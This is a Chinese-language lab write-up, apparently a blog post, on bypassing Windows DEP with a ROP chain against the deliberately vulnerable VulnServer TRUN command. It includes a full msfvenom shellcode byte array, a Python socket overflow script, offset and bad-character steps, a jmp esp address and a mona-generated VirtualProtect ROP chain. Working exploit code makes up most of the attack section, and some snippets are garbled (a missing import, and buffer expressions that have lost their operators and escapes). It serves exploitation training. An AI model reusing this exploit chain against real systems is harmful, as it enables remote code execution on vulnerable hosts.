ROP 绕过数据执行保护(Bypass DEP)

1.项目名称

ROP 绕过数据执行保护(Bypass DEP)

2.实践目的

掌握操作系统开启 DEP 的情况下,如何基于 ROP 绕过 DEP 的防护,实现程序流程的劫持。

3.实践内容

实践靶机为开启了 DEP 的 WIN7,针对漏洞服务器 VulnServer 的 TRUN 命令,实现漏洞挖掘、分析和利用。

4.实践要求

1)掌握 DEP 开启的基本原理和方法;

2)掌握基于 ROP 绕过 DEP 的原理和方法

5.实践方法和步骤

靶机:win7

攻击机:kali linux

1)正常流程

1.1)触发异常

在靶机中先打开程序VulnServer

在kali中编写1.py,运行发送数据

shellcode =  b""
shellcode += b"\xba\xdb\x42\x12\x7c\xdb\xc5\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x53\x31\x50\x12\x83\xe8\xfc"
shellcode += b"\x03\x8b\x4c\xf0\x89\xd7\xb9\x76\x71\x27\x3a"
shellcode += b"\x17\xfb\xc2\x0b\x17\x9f\x87\x3c\xa7\xeb\xc5"
shellcode += b"\xb0\x4c\xb9\xfd\x43\x20\x16\xf2\xe4\x8f\x40"
shellcode += b"\x3d\xf4\xbc\xb1\x5c\x76\xbf\xe5\xbe\x47\x70"
shellcode += b"\xf8\xbf\x80\x6d\xf1\xed\x59\xf9\xa4\x01\xed"
shellcode += b"\xb7\x74\xaa\xbd\x56\xfd\x4f\x75\x58\x2c\xde"
shellcode += b"\x0d\x03\xee\xe1\xc2\x3f\xa7\xf9\x07\x05\x71"
shellcode += b"\x72\xf3\xf1\x80\x52\xcd\xfa\x2f\x9b\xe1\x08"
shellcode += b"\x31\xdc\xc6\xf2\x44\x14\x35\x8e\x5e\xe3\x47"
shellcode += b"\x54\xea\xf7\xe0\x1f\x4c\xd3\x11\xf3\x0b\x90"
shellcode += b"\x1e\xb8\x58\xfe\x02\x3f\x8c\x75\x3e\xb4\x33"
shellcode += b"\x59\xb6\x8e\x17\x7d\x92\x55\x39\x24\x7e\x3b"
shellcode += b"\x46\x36\x21\xe4\xe2\x3d\xcc\xf1\x9e\x1c\x99"
shellcode += b"\x36\x93\x9e\x59\x51\xa4\xed\x6b\xfe\x1e\x79"
shellcode += b"\xc0\x77\xb9\x7e\x27\xa2\x7d\x10\xd6\x4d\x7e"
shellcode += b"\x39\x1d\x19\x2e\x51\xb4\x22\xa5\xa1\x39\xf7"
shellcode += b"\x50\xa9\x9c\xa8\x46\x54\x5e\x19\xc7\xf6\x37"
shellcode += b"\x73\xc8\x29\x27\x7c\x02\x42\xc0\x81\xad\x7d"
shellcode += b"\x4d\x0f\x4b\x17\x7d\x59\xc3\x8f\xbf\xbe\xdc"
shellcode += b"\x28\xbf\x94\x74\xde\x88\xfe\x43\xe1\x08\xd5"
shellcode += b"\xe3\x75\x83\x3a\x30\x64\x94\x16\x10\xf1\x03"
shellcode += b"\xec\xf1\xb0\xb2\xf1\xdb\x22\x56\x63\x80\xb2"
shellcode += b"\x11\x98\x1f\xe5\x76\x6e\x56\x63\x6b\xc9\xc0"
shellcode += b"\x91\x76\x8f\x2b\x11\xad\x6c\xb5\x98\x20\xc8"
shellcode += b"\x91\x8a\xfc\xd1\x9d\xfe\x50\x84\x4b\xa8\x16"
shellcode += b"\x7e\x3a\x02\xc1\x2d\x94\xc2\x94\x1d\x27\x94"
shellcode += b"\x98\x4b\xd1\x78\x28\x22\xa4\x87\x85\xa2\x20"
shellcode += b"\xf0\xfb\x52\xce\x2b\xb8\x63\x85\x71\xe9\xeb"
shellcode += b"\x40\xe0\xab\x71\x73\xdf\xe8\x8f\xf0\xd5\x90"
shellcode += b"\x6b\xe8\x9c\x95\x30\xae\x4d\xe4\x29\x5b\x71"
shellcode += b"\x5b\x49\x4e"
import sys
buffer = "A" * 5000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.110.146',9999))
s.send('TRUN .:/ ' + buffer + '\r\n')
s.recv(1024)
s.send('EXIT\r\n')
s.close()

image

触发异常,此时EIP值为41414141

1.2)定位偏移量

​msf-pattern_create -l 5000​

利用kali生成5000个唯一字符串,然后修改代码

运行代码发送数据包

image

然后利用mona查找得到偏移量为2003

​!mona findmsp​

image

然后修改代码

​buffer = "A"2003 + "BBBB" + "C"(5000-2003-4)​

运行代码发送数据包,重新触发异常

image

EIP确实为42424242,所以偏移量为2003

1.3)排除坏字节

​!mona ba -b "x00"​

mona生成坏字符 badchar ,然后修改 buffer 的值 ​buffer = "A"2003 + "BBBB" + badchar + "C"(5000-2003-4-len(badchar))​

image

重新运行代码发送数据包,触发异常

发现只有"x00"是坏字节

1.4)寻找jmp esp指令

利用mona生成

​!mona jmp -r esp​

image

任取一个,这里取0x625011bb

修改代码buffer="A"2003 + "xbbx11x50x62" + "C"(5000-2003-4)​

在程序0x625011bb​处下好断点,然后运行代码,发送数据,触发异常

image

跳转成功

1.5)写shellcode

​msfvenom -p windows/exec CMD="calc.exe" -b "x00" -f python -v shellcode​

msf生成弹计算器shellcode

image

修改buffer="A"2003 + "xbbx11x50x62" + "x90"16+shellcode+"C"*(5000-2003-4-len(shellcode))​

2)在靶机中启动DEP

2.1)启动DEP

启动DEP命令:在cmd命令行管理员模式下执行bcdedit.exe/set {current} nx AlwaysOn pause​ 然后重启靶机

关闭DEP命令:bcdedit.exe/set {current} nx AlwaysOff pause​ 然后重启靶机

以上不行的话,可以在控制面板打开以下页面,启动

image

image

然后重启即可

启动之后运行程序,然后在kali运行代码,发现可以跳转到shellcode,但不能执行shellcode

image

2.2)生成ROP

利用mona生成

​!mona rop ​会生成文件 ropchain.txt,但是python代码部分第一条指令为00000000

image

​!mona rop -m *.dll -n -cpb "x00"​ 使用该指令去掉00指令生成

image

def create_rop_chain():
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
        #[---INFO:gadgets_to_set_esi:---]
        0x75a41a3a, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
        0x764e686a, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
        0x764ef6c9, # XCHG EAX,ESI # RETN [RPCRT4.dll] ** REBASED ** ASLR
        
        #[---INFO:gadgets_to_set_ebp:---]
        0x77bf8c9d, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
        0x77732273, # & jmp esp [NSI.dll] ** REBASED ** ASLR
        
        #[---INFO:gadgets_to_set_ebx:---]
        0x7684131e, # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR
        0xfffffdff, # Value to negate, will become 0x00000201
        0x7651b7d6, # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
        0x76512015, # PUSH EAX # ADD AL,5E # POP EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
        
        #[---INFO:gadgets_to_set_edx:---]
        0x76841ee1, # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR
        0xffffffc0, # Value to negate, will become 0x00000040
        0x7649f3ea, # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
        0x77b7f1c0, # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
        
        #[---INFO:gadgets_to_set_ecx:---]
        0x75a93a04, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x62504739, # &Writable location [essfunc.dll]
        
        #[---INFO:gadgets_to_set_edi:---]
        0x764af22c, # POP EDI # RETN [RPCRT4.dll] ** REBASED ** ASLR
        0x7649f3ec, # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR
        
        #[---INFO:gadgets_to_set_eax:---]
        0x764d0bb2, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
        0x90909090, # nop
        
        #[---INFO:pushad:---]
        0x764b8dce, # PUSHAD # RETN [RPCRT4.dll] ** REBASED ** ASLR
    ]
    
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

修改buffer="x41"2003 + rop_chain +"x90"16 +shellcode +"x43"*(5000-2003-len(rop_chain)-16- len(shellcode))​

运行代码,弹出计算器

image

利用成功

DEP原理与机制参考:数据执行保护(DEP,Data Execution Prevention) 是一种安全机制,旨在防止恶意代码在计算机的特定内存区域执行。它通过标记某些内存区域为“不可执行”,从而阻止攻击者在这些区域注入并执行恶意代码。 - suv789 - 博客园

rop利用原理参考:基本 ROP - CTF Wiki

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值